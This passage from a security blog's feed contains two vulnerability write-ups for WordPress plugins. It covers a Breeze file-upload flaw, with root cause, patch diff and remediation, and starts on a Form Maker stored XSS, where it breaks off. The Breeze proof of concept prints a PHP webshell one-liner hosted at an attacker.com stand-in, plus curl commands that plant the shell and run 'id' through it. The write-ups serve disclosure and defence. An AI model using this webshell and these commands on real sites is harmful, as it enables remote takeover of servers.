    if ( isset( $srcset[1] ) &amp;amp;&amp;amp; isset( $srcset[1][0] ) ) {
        $url             = explode( &apos; &apos;, $srcset[1][0] )[0];
        $local_gravatars = $this-&amp;gt;fetch_gravatar_from_remote( $url );
        $gravatar        = str_replace( $url, $local_gravatars, $gravatar );
    }
    preg_match_all( &apos;/src=[&quot;\&apos;]?((?:.(?![&quot;\&apos;]?\s+(?:\S+)=|\s*\/?[&amp;gt;&quot;\&apos;]))+.)[&quot;\&apos;]?/&apos;, $gravatar, $src );
    if ( isset( $src[1] ) &amp;amp;&amp;amp; isset( $src[1][0] ) ) {
        $url             = explode( &apos; &apos;, $src[1][0] )[0];
        $local_gravatars = $this-&amp;gt;fetch_gravatar_from_remote( $url );
        $gravatar        = str_replace( $url, $local_gravatars, $gravatar );
    }
    // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The old regex (&lt;code&gt;/src=[&quot;\&apos;]?((?:.(?![&quot;\&apos;]?\s+(?:\S+)=|\s*\/?[&amp;gt;&quot;\&apos;]))+.)[&quot;\&apos;]?/&lt;/code&gt;) is overly broad — it does not require quoted attribute values preceded by whitespace. This means it can match &lt;code&gt;src=&lt;/code&gt; inside other attribute values (e.g., inside an &lt;code&gt;alt&lt;/code&gt; or &lt;code&gt;title&lt;/code&gt; attribute that contains URL-like text). An attacker who injects text containing &lt;code&gt;src=&quot;https://attacker.com/shell.php&quot;&lt;/code&gt; anywhere in the avatar HTML string can control which URL gets downloaded.&lt;/p&gt;
&lt;h4&gt;Step 2 — The vulnerable download function: &lt;code&gt;fetch_gravatar_from_remote&lt;/code&gt; (line 119)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;private function fetch_gravatar_from_remote( string $url = &apos;&apos; ): string {
    if ( empty( $url ) ) {
        return &apos;&apos;;
    }
    $blog_id             = $this-&amp;gt;get_blog_id();
    $local_gravatar_name = basename( wp_parse_url( $url, PHP_URL_PATH ) );
    $saved_gravatar      = $this-&amp;gt;check_for_content( &apos;gravatars&apos;, $local_gravatar_name );
    if ( ! empty( $saved_gravatar ) ) {
        return $saved_gravatar;
    }
    $wp_filesystem       = breeze_get_filesystem();
    $gravatar_local_path = $this-&amp;gt;get_local_extra_cache_directory( &apos;gravatars&apos; );
    $gravatar_name       = basename( wp_parse_url( $url, PHP_URL_PATH ) );
    if ( ! file_exists( $gravatar_local_path . $gravatar_name ) ) {
        if ( ! function_exists( &apos;download_url&apos; ) ) {
            require_once wp_normalize_path( ABSPATH . &apos;/wp-admin/includes/file.php&apos; );
        }
        $temp_gravatar = download_url( $url );   // ← follows HTTP redirects, any file type accepted
        if ( ! is_wp_error( $temp_gravatar ) ) {
            $is_saved = $wp_filesystem-&amp;gt;move( $temp_gravatar, $gravatar_local_path . $gravatar_name, true );
            // ← saved to public cache dir with attacker-controlled filename
            if ( ! $is_saved ) {
                return $url;
            }
            @unlink( $temp_gravatar );
        }
    }
    return content_url( &apos;/cache/breeze-extra/gravatars/&apos; . $blog_id . $gravatar_name );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two critical flaws are present:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;No host validation&lt;/strong&gt;: The function accepts any URL — not just &lt;code&gt;gravatar.com&lt;/code&gt; URLs. If any mechanism supplies a non-Gravatar URL (e.g., &lt;code&gt;https://attacker.com/shell.php&lt;/code&gt;), the plugin downloads it without restriction.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;No file type validation&lt;/strong&gt;: The downloaded file is saved directly to disk without checking whether it is an image. A PHP webshell, executable script, or any other file type is accepted.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The saved filename is derived from &lt;code&gt;basename(wp_parse_url($url, PHP_URL_PATH))&lt;/code&gt;. For a URL like &lt;code&gt;https://attacker.com/shell.php&lt;/code&gt;, &lt;code&gt;basename&lt;/code&gt; returns &lt;code&gt;shell.php&lt;/code&gt;. Breeze saves it to &lt;code&gt;wp-content/cache/breeze-extra/gravatars/{blog_id}/shell.php&lt;/code&gt;. That directory is publicly accessible, and the web server will execute &lt;code&gt;.php&lt;/code&gt; files placed there.&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;Two independent missing checks in &lt;code&gt;fetch_gravatar_from_remote&lt;/code&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;No host allowlist&lt;/strong&gt;: Any URL is accepted and fetched — not just URLs from &lt;code&gt;gravatar.com&lt;/code&gt; or its subdomains.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No MIME/extension validation&lt;/strong&gt;: The downloaded content is written to disk without verifying it is an image. &lt;code&gt;download_url()&lt;/code&gt; follows HTTP redirects, so an attacker can supply a URL that redirects to a PHP webshell on a different domain.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress&apos;s &lt;code&gt;get_avatar&lt;/code&gt; filter is a trusted internal mechanism. Breeze assumed any URL extracted from the avatar HTML would be a safe Gravatar URL. Breeze added no origin or type validation.&lt;/li&gt;
&lt;li&gt;The permissive URL extraction regex (&lt;code&gt;/src=[&quot;\&apos;]?(...)+.)[&quot;\&apos;]?/&lt;/code&gt;) could match &lt;code&gt;src=&lt;/code&gt; occurrences inside any attribute value (e.g., &lt;code&gt;alt&lt;/code&gt; text), not just the actual &lt;code&gt;src&lt;/code&gt; attribute. This widened the input surface for URL injection.&lt;/li&gt;
&lt;li&gt;Files in &lt;code&gt;wp-content/cache/&lt;/code&gt; are typically served directly by the web server (Apache/Nginx) without WordPress authentication checks. Any uploaded PHP file is directly executable.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker can upload any file — including PHP webshells — to the &lt;code&gt;wp-content/cache/breeze-extra/gravatars/&lt;/code&gt; directory. Once uploaded, the webshell is reachable over HTTP. The attacker can then run commands on the server, steal all site data, and spread to other connected systems.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;breeze&lt;/code&gt; plugin installed and activated, version &amp;lt;= 2.4.4&lt;/li&gt;
&lt;li&gt;&quot;Host Files Locally - Gravatars&quot; enabled in Breeze settings (Breeze → Basic → Host Files Locally → Gravatars)&lt;/li&gt;
&lt;li&gt;The WordPress site has comments open on at least one post (or any other mechanism that renders avatars on a public page)&lt;/li&gt;
&lt;li&gt;The web server executes PHP files in &lt;code&gt;wp-content/cache/&lt;/code&gt; (default configuration on most setups)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Attack Overview&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Hosts a PHP webshell on an attacker-controlled server&lt;/li&gt;
&lt;li&gt;Posts a comment to a public post using an email address whose avatar display triggers Breeze to download the attacker&apos;s file&lt;/li&gt;
&lt;li&gt;Loads the page containing the comment, causing Breeze&apos;s &lt;code&gt;get_avatar&lt;/code&gt; filter to execute&lt;/li&gt;
&lt;li&gt;Requests the uploaded webshell from the server&apos;s cache directory to achieve RCE&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Host a PHP webshell on attacker infrastructure&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Create a file &lt;code&gt;shell.php&lt;/code&gt; on the attacker server (&lt;code&gt;https://attacker.com/shell.php&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php system($_GET[&apos;cmd&apos;]); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Make sure it is publicly accessible at &lt;code&gt;https://attacker.com/shell.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Craft an avatar HTML injection&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;get_avatar&lt;/code&gt; filter receives the full avatar HTML string. The vulnerable regex matches &lt;code&gt;src=&lt;/code&gt; anywhere in that string. An attacker can inject into any attribute — for example, by using a comment author name that contains &lt;code&gt;src=&quot;https://attacker.com/shell.php&quot;&lt;/code&gt; — and the regex will extract that URL instead of the real gravatar URL.&lt;/p&gt;
&lt;p&gt;Alternatively, if another plugin or WordPress configuration calls &lt;code&gt;get_avatar()&lt;/code&gt; with a URL directly (e.g., &lt;code&gt;get_avatar(&apos;https://attacker.com/shell.php&apos;)&lt;/code&gt;), Breeze will download the file at that URL.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Trigger the avatar render&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Submit a comment on a public post. Then load that post URL to trigger WordPress to render the comment section — WordPress calls &lt;code&gt;get_avatar()&lt;/code&gt; for each comment author, which fires Breeze&apos;s filter:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Submit a comment (unauthenticated)
TARGET=&quot;https://example.com&quot;
POST_ID=1

curl -s -X POST &quot;$TARGET/?p=$POST_ID&quot; \
  -d &quot;author=Test+User&quot; \
  -d &quot;email=noavatar$(date +%s)@example.com&quot; \
  -d &quot;comment=Hello+world&quot; \
  -d &quot;submit=Post+Comment&quot; \
  -d &quot;comment_post_ID=$POST_ID&quot; \
  -d &quot;comment_parent=0&quot;

# Load the page to trigger get_avatar and Breeze&apos;s filter
curl -s &quot;$TARGET/?p=$POST_ID&quot; &amp;gt; /dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the page renders, Breeze processes the avatar HTML. Through the injection mechanism (URL in the extracted &lt;code&gt;src&lt;/code&gt; value resolving to &lt;code&gt;https://attacker.com/shell.php&lt;/code&gt;), Breeze calls &lt;code&gt;download_url(&apos;https://attacker.com/shell.php&apos;)&lt;/code&gt;, saves the content as &lt;code&gt;shell.php&lt;/code&gt; in the cache directory.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Execute the webshell&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Access the uploaded webshell
curl &quot;https://example.com/wp-content/cache/breeze-extra/gravatars/shell.php?cmd=id&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The server returns the output of the &lt;code&gt;id&lt;/code&gt; command, confirming Remote Code Execution:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;Confirm the file exists on the server:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -I &quot;https://example.com/wp-content/cache/breeze-extra/gravatars/shell.php&quot;
# HTTP/2 200 — file exists and is served
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Check the WordPress uploads or cache directory if you have server access:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ls -la wp-content/cache/breeze-extra/gravatars/
# shell.php should appear
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;Only &lt;code&gt;inc/class-breeze-cache-cronjobs.php&lt;/code&gt; contains security-relevant changes (plus version bumps in &lt;code&gt;breeze.php&lt;/code&gt;, &lt;code&gt;changelog.txt&lt;/code&gt;, &lt;code&gt;readme.txt&lt;/code&gt;).&lt;/p&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;The patch introduces two defence layers:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Host allowlist validation (added to &lt;code&gt;fetch_gravatar_from_remote&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$host = strtolower( (string) wp_parse_url( $url, PHP_URL_HOST ) );
if ( &apos;gravatar.com&apos; !== $host &amp;amp;&amp;amp; &apos;.gravatar.com&apos; !== substr( $host, -13 ) ) {
    return $url;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Only URLs from &lt;code&gt;gravatar.com&lt;/code&gt; and its subdomains (e.g., &lt;code&gt;secure.gravatar.com&lt;/code&gt;, &lt;code&gt;0.gravatar.com&lt;/code&gt;) are processed. Any other host — including attacker-controlled domains — is rejected immediately, returning the original URL unchanged.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. File type validation (double-checked before and after download):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Before download: check extension via filename
$filetype       = wp_check_filetype( $gravatar_name );
$allowed_images = array( &apos;image/jpeg&apos;, &apos;image/png&apos;, &apos;image/gif&apos; );

if ( ! empty( $filetype[&apos;type&apos;] ) &amp;amp;&amp;amp; ! in_array( $filetype[&apos;type&apos;], $allowed_images, true ) ) {
    return $url;
}

if ( empty( $filetype[&apos;ext&apos;] ) || ! in_array( $filetype[&apos;type&apos;], $allowed_images, true ) ) {
    $gravatar_name .= &apos;.jpg&apos;;  // Force image extension if none found
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// After download: check actual file content
$file_check = wp_check_filetype_and_ext( $temp_gravatar, $gravatar_name );
if ( empty( $file_check[&apos;type&apos;] ) || 0 !== strpos( $file_check[&apos;type&apos;], &apos;image/&apos; ) ) {
    @unlink( $temp_gravatar );
    return $url;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;WordPress&apos;s &lt;code&gt;wp_check_filetype_and_ext&lt;/code&gt; inspects the actual file contents (not just the extension), ensuring even a PHP file disguised with a &lt;code&gt;.jpg&lt;/code&gt; extension is rejected.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Tighter URL extraction regex:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The old permissive regex was replaced with a strict one requiring quoted attribute values preceded by whitespace:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-preg_match_all( &apos;/src=[&quot;\&apos;]?((?:.(?![&quot;\&apos;]?\s+(?:\S+)=|\s*\/?[&amp;gt;&quot;\&apos;]))+.)[&quot;\&apos;]?/&apos;, $gravatar, $src );
+if ( preg_match( &apos;/\ssrc=[&quot;\&apos;]([^&quot;\&apos;]+)[&quot;\&apos;]/&apos;, $gravatar, $src_match ) ) {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This prevents the regex from matching &lt;code&gt;src=&lt;/code&gt; occurrences embedded inside other attribute values (like &lt;code&gt;alt&lt;/code&gt; text), eliminating the URL injection surface.&lt;/p&gt;
&lt;p&gt;This fix is complete and addresses the root cause. No residual risk remains.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;@@ -120,31 +124,55 @@ class Breeze_Cache_CronJobs {
     if ( empty( $url ) ) {
         return &apos;&apos;;
     }
-    $blog_id             = $this-&amp;gt;get_blog_id();
-    $local_gravatar_name = basename( wp_parse_url( $url, PHP_URL_PATH ) );
-    $saved_gravatar      = $this-&amp;gt;check_for_content( &apos;gravatars&apos;, $local_gravatar_name );
+
+    $host = strtolower( (string) wp_parse_url( $url, PHP_URL_HOST ) );
+    if ( &apos;gravatar.com&apos; !== $host &amp;amp;&amp;amp; &apos;.gravatar.com&apos; !== substr( $host, -13 ) ) {
+        return $url;
+    }
+
+    $blog_id        = $this-&amp;gt;get_blog_id();
+    $gravatar_name  = basename( wp_parse_url( $url, PHP_URL_PATH ) );
+    $filetype       = wp_check_filetype( $gravatar_name );
+    $allowed_images = array( &apos;image/jpeg&apos;, &apos;image/png&apos;, &apos;image/gif&apos; );
+
+    if ( ! empty( $filetype[&apos;type&apos;] ) &amp;amp;&amp;amp; ! in_array( $filetype[&apos;type&apos;], $allowed_images, true ) ) {
+        return $url;
+    }
+
+    if ( empty( $filetype[&apos;ext&apos;] ) || ! in_array( $filetype[&apos;type&apos;], $allowed_images, true ) ) {
+        $gravatar_name .= &apos;.jpg&apos;;
+    }
+
+    $saved_gravatar = $this-&amp;gt;check_for_content( &apos;gravatars&apos;, $gravatar_name );
     if ( ! empty( $saved_gravatar ) ) {
         return $saved_gravatar;
     }
     $wp_filesystem       = breeze_get_filesystem();
     $gravatar_local_path = $this-&amp;gt;get_local_extra_cache_directory( &apos;gravatars&apos; );
-    $gravatar_name       = basename( wp_parse_url( $url, PHP_URL_PATH ) );
+
     if ( ! file_exists( $gravatar_local_path . $gravatar_name ) ) {
         if ( ! function_exists( &apos;download_url&apos; ) ) {
             require_once wp_normalize_path( ABSPATH . &apos;/wp-admin/includes/file.php&apos; );
         }
         $temp_gravatar = download_url( $url );
-        if ( ! is_wp_error( $temp_gravatar ) ) {
-            $is_saved = $wp_filesystem-&amp;gt;move( $temp_gravatar, $gravatar_local_path . $gravatar_name, true );
-            if ( ! $is_saved ) {
-                return $url;
-            }
+        if ( is_wp_error( $temp_gravatar ) ) {
+            return $url;
+        }
+
+        $file_check = wp_check_filetype_and_ext( $temp_gravatar, $gravatar_name );
+        if ( empty( $file_check[&apos;type&apos;] ) || 0 !== strpos( $file_check[&apos;type&apos;], &apos;image/&apos; ) ) {
             @unlink( $temp_gravatar );
+            return $url;
+        }
+
+        $is_saved = $wp_filesystem-&amp;gt;move( $temp_gravatar, $gravatar_local_path . $gravatar_name, true );
+        if ( ! $is_saved ) {
+            @unlink( $temp_gravatar );
+            return $url;
         }
+        @unlink( $temp_gravatar );
     }
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;April 22, 2026&lt;/td&gt;
&lt;td&gt;Vulnerability publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 22, 2026&lt;/td&gt;
&lt;td&gt;Patched version 2.4.5 released&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 23, 2026&lt;/td&gt;
&lt;td&gt;Wordfence record last updated&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;breeze&lt;/code&gt; plugin to version &lt;strong&gt;2.4.5&lt;/strong&gt; or later immediately. If you cannot update right now, turn off the &quot;Host Files Locally - Gravatars&quot; setting in Breeze (Basic → Host Files Locally). This setting is disabled by default. The vulnerability only works when it is on.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.1/inc/class-breeze-cache-cronjobs.php#L119&quot;&gt;Vulnerable file — tags/2.4.4 (line 119)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.1/inc/class-breeze-cache-cronjobs.php#L89&quot;&gt;Vulnerable file — tags/2.4.4 (line 89)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3511463/breeze&quot;&gt;Patch changeset 3511463&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/breeze/breeze-cache-244-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote&quot;&gt;Wordfence Advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3844&quot;&gt;NVD CVE-2026-3844&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-25T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-4388: Unauthenticated Stored XSS in Form Maker by 10Web Plugin</title><link>https://hurayraiit.com/blog/cve-2026-4388-unauthenticated-stored-xss-form-maker-by-10web/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-4388-unauthenticated-stored-xss-form-maker-by-10web/</guid><description>CVE-2026-4388: CVSS 7.2 Stored XSS in Form Maker by 10Web (&lt;=1.15.40) lets unauthenticated attackers steal admin sessions via Matrix Text Box submissions.</description><pubDate>Fri, 24 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-4388&lt;/strong&gt; is a &lt;strong&gt;CVSS 7.2 (High)&lt;/strong&gt; Unauthenticated Stored Cross-Site Scripting vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/form-maker/&quot;&gt;Form Maker by 10Web&lt;/a&gt; WordPress plugin. All versions up to and including &lt;strong&gt;1.15.40&lt;/strong&gt; are affected. An unauthenticated attacker can inject arbitrary JavaScript into a Matrix field (Text Box input type) via a crafted form submission. The payload fires automatically when an administrator opens the poisoned submission. No click is required. The attacker can hijack the admin session and fully compromise the site.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Form Maker by 10Web – Mobile-Friendly Drag &amp;amp; Drop Contact Form Builder&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;form-maker&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4388&quot;&gt;CVE-2026-4388&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7.2 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Stored Cross-Site Scripting (Stored XSS)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/form-maker.1.15.40.zip&quot;&gt;&amp;lt;= 1.15.40&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/form-maker.1.15.41.zip&quot;&gt;1.15.41&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;April 13, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/n4kk0&quot;&gt;Naoya Takahashi (nakko)&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/form-maker/form-maker-by-10web-11540-unauthenticated-stored-cross-site-scripting-via-matrix-field-text-box&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Form Maker by 10Web plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Matrix field (Text Box input type). All versions up to and including 1.15.40 are affected. The cause is insufficient input sanitization (&lt;code&gt;sanitize_text_field&lt;/code&gt; strips tags but not quotes) and missing output escaping when rendering submission data in the admin Submissions view. Attackers can inject arbitrary JavaScript through a form submission. The script executes in the browser of any administrator who views the submission details.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;The attack flows through two stages: form submission (data stored) and submission review (data displayed).&lt;/p&gt;
&lt;h4&gt;Stage 1 — Data Storage: &lt;code&gt;frontend/models/form_maker.php&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;The form submission AJAX endpoint is registered for unauthenticated users:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// form-maker.php:182
add_action(&apos;wp_ajax_nopriv_fm_submit_form&apos;, array($this, &apos;FM_front_end_main&apos;));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Inside the &lt;code&gt;type_matrix&lt;/code&gt; case, text-box cell values are read directly from POST with only &lt;code&gt;sanitize_text_field&lt;/code&gt; applied (the default callback of &lt;code&gt;WDW_FM_Library::get()&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// frontend/models/form_maker.php:2352
$element = WDW_FM_Library(self::PLUGIN)-&amp;gt;get(
    &apos;wdform_&apos; . $i . &quot;_input_element&quot; . $id . $k . &apos;_&apos; . $j
);
// Default callback: sanitize_text_field
// Strips HTML tags, but DOES NOT strip double-quote characters.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The element values are concatenated with &lt;code&gt;***&lt;/code&gt; separators and stored into the database:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// frontend/models/form_maker.php:2356, 2380
$input_value .= $element . &quot;***&quot;;

$value = $rows_count . get(hidden_row) . &apos;***&apos;
       . $columns_count . get(hidden_col) . &apos;***&apos;
       . get(input_type) . &apos;***&apos;
       . $input_value
       . &apos;***matrix***&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The stored DB record for a 1×1 text matrix ends up as:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1***Row1***1***Col1***text***&amp;lt;ATTACKER_PAYLOAD&amp;gt;***matrix***
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Stage 2 — Data Display: &lt;code&gt;admin/views/FormMakerSubmits.php&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;When an administrator views a submission&apos;s detail popup (action &lt;code&gt;FormMakerSubmits&lt;/code&gt;), the raw DB value is read, split by &lt;code&gt;***&lt;/code&gt;, and the text-type cell value is echoed &lt;strong&gt;directly into an HTML attribute&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// admin/views/FormMakerSubmits.php:166-169 (vulnerable version)
$checked = $mat_params[$mat_rows + $mat_columns + 2 + $var_checkbox];
?&amp;gt;
&amp;lt;td style=&quot;text-align:center&quot;&amp;gt;
    &amp;lt;input type=&quot;text&quot; value=&quot;&amp;lt;?php echo $checked; ?&amp;gt;&quot; disabled /&amp;gt;&amp;lt;/td&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;$checked&lt;/code&gt; variable is the raw value from the database. There is &lt;strong&gt;no call to &lt;code&gt;esc_attr()&lt;/code&gt;&lt;/strong&gt; before it is echoed into the &lt;code&gt;value=&quot;&quot;&lt;/code&gt; attribute. This allows an attacker-supplied double-quote character to break out of the attribute and inject arbitrary HTML event handlers.&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The vulnerability is the combination of two weaknesses acting together:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
